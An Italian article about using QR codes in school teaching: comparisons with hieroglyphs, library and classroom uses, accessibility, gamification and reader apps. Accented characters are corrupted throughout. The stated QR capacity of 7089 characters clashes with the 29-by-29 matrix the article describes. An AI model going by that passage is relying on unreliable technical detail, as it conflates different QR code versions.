Tutto sui QR code. Apprendimento di prossimitAi??.

Alberto Pian

L’apprendimento di prossimitAi?? si caratterizza per il fatto che i contenuti sono geolocalizzati e arrivano direttamente a chi ne ha bisogno con tecnologie push o di interpretazione di segnali, attraverso apposite applicazioni. I QR rappresentano una variante delle tecniche di apprendimento di prossimitAi??. Vediamo che cosa sono e come possono essere impiegati nell’apprendimento.Ai??


Ai??I codiciAi??QR

Il QR Code si caratterizza A?Ai??un insieme rettangolare di segni indecifrabili. A? una specie di geroglifico, ma meno comprensibile e visivamente meno interessante di un geroglifico!

In effetti i geroglifici rappresentano un vero e proprio alfabeto sillabico composto anche da figure, oltre che da segni, mentre i codici QR rappresentano una matrice formata da 29 caselle per lato, nelle quali possono essere collocati deiAi??punti neri, che possonoAi??rappresentare fino a 7089 caratteri numerici e 4296 alfanumerici.

Per avvicinare i ragazzi ai QR code in modo intelligente, facciamo qualche osservazione in relazione ai concetti diAi??”codice” e “linguaggio”.

Qui sottoAi??vedete il mio nome scritto con il nostro alfabeto tradizionale.

ALBERTO

Qui, invece, vedete il mio nome, sempreAi??Alberto, scritto con iAi??geroglifici.Ai??Proponete ai vostri allievi di rappresentareAi??il proprio nome con il sistema dei geroglifici. AAi??questo indirizzoAi??potete fare una prova.

Alberto

Anche ilAi??quadrato bianco e nero che trovate alla fine di questo paragrafo rappresenta sempre il mio nome,Ai??Alberto, perA? A? raffiguratoAi??secondo il codice di corrispondenza linguistico dei QR code.

Alberto

Bruttino vero? Confrontate c0n i vostri studenti i treAi??sistemi: della scrittura tradizionale, dei geroglifici e del QR code. Che cosa possiamo osservare? Per prima cosa notiamoAi??le diverse rappresentazioni: grafiche e pittoriche da un lato e ridotte a una serie di puntini tutti ugualiAi??dall’altro. Poi notiamoAi??la differente estensione spaziale del messaggio. Nel caso testuale di Alberto, abbiamo certamente il risultato migliore. In fondo bastano sette “caselle”, una per ogni lettera, per comporre il mio nome. Anche nei geroglifici abbiamo un numero definito di caselle, sempre sette, ma con ilAi??maggiore ingombro dei disegni. Dal canto suoAi??il QR impiega comunque tutta la matrice, cioA? 841 posti, per rappresentarne solo sette!

Riduzione della complessitAi?? e funzioni inedite

Se scriviamo un testoAi??piA? complesso, vediamo subito che le cose cambiano. Un paragrafo intero di testo A? sicuramente piA? concentrato attraverso un codice QR.

Questa A? una canzone di BruceAi??Spingsteen,Ai??Over the Rise. Provate a decifrarla. Osservate:Ai??Ai??il testo A? leggibile con tutti i lettori di QR code?

BruceSp

Questa A? un’altra canzone di Bruce Springsteen, ma piA? lunga della precedente. A? piA? difficile che un lettore di QR code riesca a interpretarla? E, soprattutto: il testo A? completo?

BruceS

Forse abbiamo compresoAi??perchAi?? Masahiro Hara, ingegnere dellaAi??Denso Corporation, un’azienda giapponese del gruppoAi??Toyota, quando nel 1994 inventA? il codice QR, non si ispirA? ai geroglifici egiziani!

In effettiAi??una matrice A? piA? ricca di datiAi??e, allo stesso tempo, A? anche di piA? facile interpretazione per delle applicazioni digitali che la devono comprendere, rispetto a un sistema alfabetico. In Giappone il QR A? molto diffuso, come il codice a barre al quale spesso si accompagna, e lo troviamo perfino sulle lapidi dei cimiteri perchAi?? quasi il 100% dei giapponesi ne conosce l’impiego. A?Ai??un sistema ideale per veicolareAi??molte informazioni in poco spazio, uno spazio standard rappresentato, appunto, da una matrice.

Tuttavia, non si tratta tanto di risolvere un problemaAi??di spazio, quanto di stabilire delle funzioni inedite e impossibili per altri codici, alfabetici o simbolici.

Per esempio il codice QR puA? mostrare direttamente un video, come nel caso di quest’opera di Bansky (leggi l’articolo di Marta AlbAi??). Ma puA? essere collegato a qualsiasi tipo di dato.

banksy_calais

Idee per insegnare e per apprendere

Dato che il QR code si trova in un posto fisico (un oggetto, una pagina, un ambiente) oAi??virtuale (una pagina web, un’applicazione), A? facile stabilire quali possono essere gli impieghi in un apprendimento di prossimitAi??. Quando lo studente si trova in un determinato luogo, oppure dispone di un determinato oggetto, un codice QR gli puA? fornire delle informazioni specifiche, che stabiliscono un collegamento inedito con il luogo o con l’oggetto.

Per esempio, nell’area Matematica – recupero, di uno spazio scolastico come la biblioteca, il QR code lo rimanda a una serie di contenutiti di sostegno per l’apprendimento di quella materia. Nell’area Letteratura – Letture, il QR code puA? condurre lo studente all’ascolto di opere poetiche e letterarie. L’area Lezioni – Italiano, puA? proporre dei QR Code di vere e proprie lezioni per apprendere tecniche di scrittura. Queste lezioni, ovviamente, possono essere composta da animazioni, da slide, da lavagne create con Educreations o altre applicazioni simili.

La prima osservazione A? dunque questa: a differenza di una serie di lunghi e inefficaci link Web, i QR Code possono rendere piA? semplice il collegamento a contenuti in Internet, perchAi?? riducono la complessitAi?? delle URL e rendono l’accesso ai contenuti piA? immediato. Ma, soprattutto, permettono di radunare, ordinare e presentare i contenuti in aree omogenee e coerenti. Questo punto, a mio giudizio, A? molto importante. Infatti nell’epoca attuale, caratterizzata da una estrema ridondanza, dispersione, frammentazione e generazione continua (sovraffollamento), di contenuti, questi possono essere selezionati e raccolti in modo omogeo e coerentemente presentati un un’area fisica. Quest’area puA? essere naturalmente una stanza, ma anche un album, degli oggetti come strumenti e attrezzi di laboratorio, reperti storici eAi??artistici.

Gli ambienti scolastici, per definizione, rappresentano un habitat naturale per iAi??libri. Libri in biblioteca, libri di testo per gli studenti, libri digitali sui dispositivi mobili. I libri sono oggetti di lavoro: vengono letti, manipolati, commentati, studiati. I codici QR possono arricchire i libri di nuove informazioni utili per l’insegnamento, per esempio indicazioni biografiche e di lettura, commenti dei lettori e degli studenti, trailer di presentazione (filmati), lezioni, mappe, schemi e sintesi sono importanti strumenti didattici che implicano un lavoro di creazione, da parte degli studenti, che ne favorisce l’apprendimento.

La disposizione dei codici

Il problema che sorge puA? essere questo: dove possiamo collocare molti QR che si riferiscono a un solo testo? Li incolliamo nelle pagine interne? Li disponiamo su un tableaux a muro?

La risposta A? si, ma bisogna pensare a un’organizzazione specifica perchAi?? non possiamo disseminare QR in giro, ottenendo l’effetto opposto di complicare, invece che di semplificare.

Una soluzione puA? essere di preparare una pagina Web con Adobe Spark Page che si riferisce a un dato libro o argomentoAi??trasversale a piA? libri e lAi?? collocare, a mano a mano, le informazioni, i contenuti, i filmati che vengono prodotti in riferimento a quel testo. L’idea, dunque, A? di agganciare una landig page di riferimento per volume o tema. La paginaAi??deve essere semplice, dinamica, animata, senza rimandi ad altre pagine, quindi non un sito ma un punto di visualizzazione responsive, cioA? la cui grafica e layout si adattano direttamente al dispositivo usato per visualizzarla (desktop, tablet, smartphone). Un’applicazione interessante per questo tipo di lavoro A? ancheAi??Adobe Muse che permette di creare facilmente questo tipo di web media content, costruendoAi??un modello che si puA? utilizzare varie volte, e poi permette di passare dalla singolaAi??pagina a un sito web strutturato con estrema facilitAi??. Mentre con Adobe Spark Page si resta vincolati alla pubblicazione cloud sui server Adobe, con Muse si puA? trasferire il prodotto in qualsiasi FTP, cioA? su server proprietari o su servizi di cui l’istituzione si avvale.

Ma questi sono argomenti tecnici. Restando sul piano didattico dobbiamo concludere che l’impiego di codici QR deve essere pensato e organizzato in modo che sia gestito in backgroud da un servizio Web che ne valorizzi il senso e la facilitAi?? d’uso.

Qui sotto un esempio di leanding page creata con Adobe Spark Page e il relativo codice QR.

John Steinbeck

Steinbeck QR

La gestione delle informazioni

Dato che i codici QR sono dei veicoli di informazioni di qualsiasi genere, poichAi?? rimandano a un contenuto che puA? essere complesso quanto si vuole e in qualsiasi tipo di formato (basta che sia leggibile dal proprio dispositivo), possiamo pensare a soluzioni molto variegate. Per esempio le informazioni sulla scuola e sulle sue aule e laboratori, i regolamenti, i calendari di attivitAi??, le programmazioni, ecc. possono essere veicolati tramite QR code raccolti in apposite bacheche oppure collocati nelle aule di riferimento. Pensiamo alla giornata di colloquio dei genitori con gli insegnanti. Invece di esporre tabelloni complessi, dove le persone si accalcano per vedere inAi??quale aula riceveranno l’insegnante,Ai??con un semplice QR si puA? dare accesso al PDF, oppure con diversi QR in base ai corsi si possono selezionare le informazioni da distribuire. PerciA? A? sempre possibile pensare che grandi informazioni possono essere veicolate attraverso tabelle trasmesse con i QR code. Fra queste rientrano calendari, tabelle e timeline, poster e anche complessi documenti, tutorial e manuali. PerciA?Ai??i QR delle circolari, delle informazioni interne e di quelle pubbliche, possono essere collocati in posti fissi sia per gli insegnanti che per i genitori e gli studenti.

Dobbiamo sempre considerare il fatto che il codice QR rimane fisso, non deve essere ricostruito ogni volta che le informazioni cambiano, perchAi?? il codice rimanda un contenuto ed A? il contenuto, non il codice, a cambiare, se questo viene compreso all’interno di un contenitore (per esempio Web). PerciA?, seAi??questo contenuto rappresenta l’informazione che cambia, allora basta collocare l’informazione in una pagina Web o un sito e mantenere intatta la URL di riferimento. Otteniamo cosAi?? che il codice sarAi?? sempre lo stesso, mentre i contenuti possono cambiare senza problemi innumerevoli volte.

Se i contenuti sono inseriti in un blog gestito da un feedAi??RSS, allora il QR permetterAi?? di abbonarsi al feed e quindi di ricevere le informazioni in automatico, ogni volta che il blog sarAi?? aggiornato.

QR code e accessibilitAi??

L’accessibilitAi?? A? un tema importante che tocca la geolocalizzazione e l’apprendimento di prossimitAi?? e dunque i sistemi di ricezione semplificata dei contenuti come i QR code. I ragazzi in difficoltAi?? di apprendimento hanno bisogno di avere le informazioni disponibili senza barriere fisiche e intellettuali e quindi lAi?? dove loro stessi si trovano. Se hanno bisogno di recuperare dei contenuti, delle lezioni o di essere sostenuti nell’insegnamento, i QR code possono agevolare l’accesso alle risorse di cui hanno bisogno. L’aspetto piA? importante non consiste nello stabilire “che cosa fare” con i QR code in questo caso, ma come renderli disponibili agli studenti. Questi possono essere incorporati nel loro stesso diario. Spesso i diari degli studenti sono elaborati e stampati dalle stesse scuole. Possono contenere alcuni QR code speciali per l’accesso a informazioni di questo tipo.Ai??Sarebbe meglio ottenere questo risultato attraverso una cooperazione fattiva fra i docenti. Se i docenti di italiano predispongono una serie di strumenti accessibili per i ragazzi in difficoltAi?? di apprendimento e li raccolgono in modo che il QR di riferimento ne possa proporre l’accesso, questo QR puA? essere collocato nel diario cartaceo o elettronico dello studente. Egli stesso potrAi?? accedere rapidamente alle informazioni senza digitare sulla tastiera, soprattutto nel caso in cui abbia a che fare con delle difficoltAi?? motorie. Essendo sufficiente uno smartphone dotato di fotocamera, il QR code apre la strada a nuove possibilitAi?? nel campo dell’accessibilitAi??. Certamente, non A? niente di risolutivo, ma tante piccole soluzioni messe insieme, renderanno la vita piA? semplice e la frequenza scolastica piA? bella per i ragazzi disabili e afflitti da problematiche fisiche o cognitive.

QR code e gioco (gamification)

Il collega Tony Vincent (vaiAi??alla pagina) ha avuto l’idea di unire i QR code con elementi di gamification per proporre in classe un sistema di approfondimento e consolidamento dei contenuti. Su ogni latoAi??del dado A? stampato un QR code che propone ai ragazzi, divisi in squadre, dei compiti casuali, determinati dal lancio dei dadi.

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Altri giochi legati ai codici QR sono le cacce al tesoro e i quiz. In questo caso i codici QR svolgono la funzione di facilitare i collegamenti e di fornire subito un feedback localizzato, in ambiente di prossimitAi??. Ovviamente devono essere disseminati lungo un percorso. Da notare che le stesse istruzioni del gioco possono fare riferimento a una pagina Web o a un filmato mostrati attraverso un QR code.Ai??Test, quiz e sondaggi sono facilmente organizzati attraverso i QR code. Molte applicazioni di questo tipo ne fanno largo uso. Per esempio, un’applicazione come Socrative mostra alla classe un QR code per l’accesso al quiz.

Se usiamo un’applicazione come Adobe Spark Post, che serve per creare poster di varie dimensioni, anche biglietti e cartoline, possiamo inserire i QR code in vere e proprio carte da gioco per organizzare un gioco di recupero a squadre. I giocatori dovranno cercare di liberarsi delle carte piA? rischiose ed evitare quelle proposte dagli avversarsi, ma il fatto che il contesto sia nascosto, ne rende piA? difficoltosa interpretazione e quindi complica l’ostacolo. Dato che Adobe Spark Page consente di inserire una immagine per volta, bisognaAi??impaginare il prodotto lasciando lo spazio per il QR code che verrAi?? inserito manualmente.

Steinbeck

Il sistema dei mini poster puA? avere molteplici applicazioni. Per esempio i genitori in visita alla scuolaAi??potrebbero ricevere delle cartoline illustrate e dei mini poster con i QR code che rimandano a filmati e animazioni speciali sugli ambienti che stanno visitando. Gli studenti che organizzano gli stand per l’orientamento, possono distribuire al pubblico in fiera dei contenuti analoghi. I QR code perA? possono essere anche impiegati come strumenti organizzativi aziendali. Non dimentichiamo che sono nati per il controllo della produzione di automobili. Per cui nell’alternanza scuola – lavoro, possono essere impiegati come cartellini identificativi degli studenti e dell’azienda, come raccolta di mansionari o per favorire i percorsi di sicurezza interna che tutti i lavoratori devono apprendere.

I lettori QR

Infine diciamo due paroleAi??sui lettori di codici QR. Ovviamente ne esistonoAi??tantissimiAi??sia per interpretare iAi??Codici QR che quelliAi??a barre, sia per sistemi iOS, che per Android, Windows, PC, Mac, BlakBerry e ogni altro OS. Il mio suggerimento A? di fare una semplice ricerca in Internet: “QR Code readerAi??Android”,Ai??”QR Code reader iOS” o analoga e cercareAi??quello di proprio gradimento.

Ecco qualche semplice indicazione. In ambiente iOS A? molto apprezzato QR Reader,Ai??mentre per Android lo A?Ai??BarcodeAi??scanner, Ai??Dal Web potete usare questo servizioAi??che legge e crea QR code senza tanti fronzoli o anche Ai??Code Generator. In ambiente Windows A? molto noto QR Code Reader, mentre A? noto QR code Scanner per BlackBerry.

Segnaliamo che unaAi??comoda soluzione, comune a tutte le piattaforme che permette di creare e di leggere QR code A? la piattaforma i-nigma.

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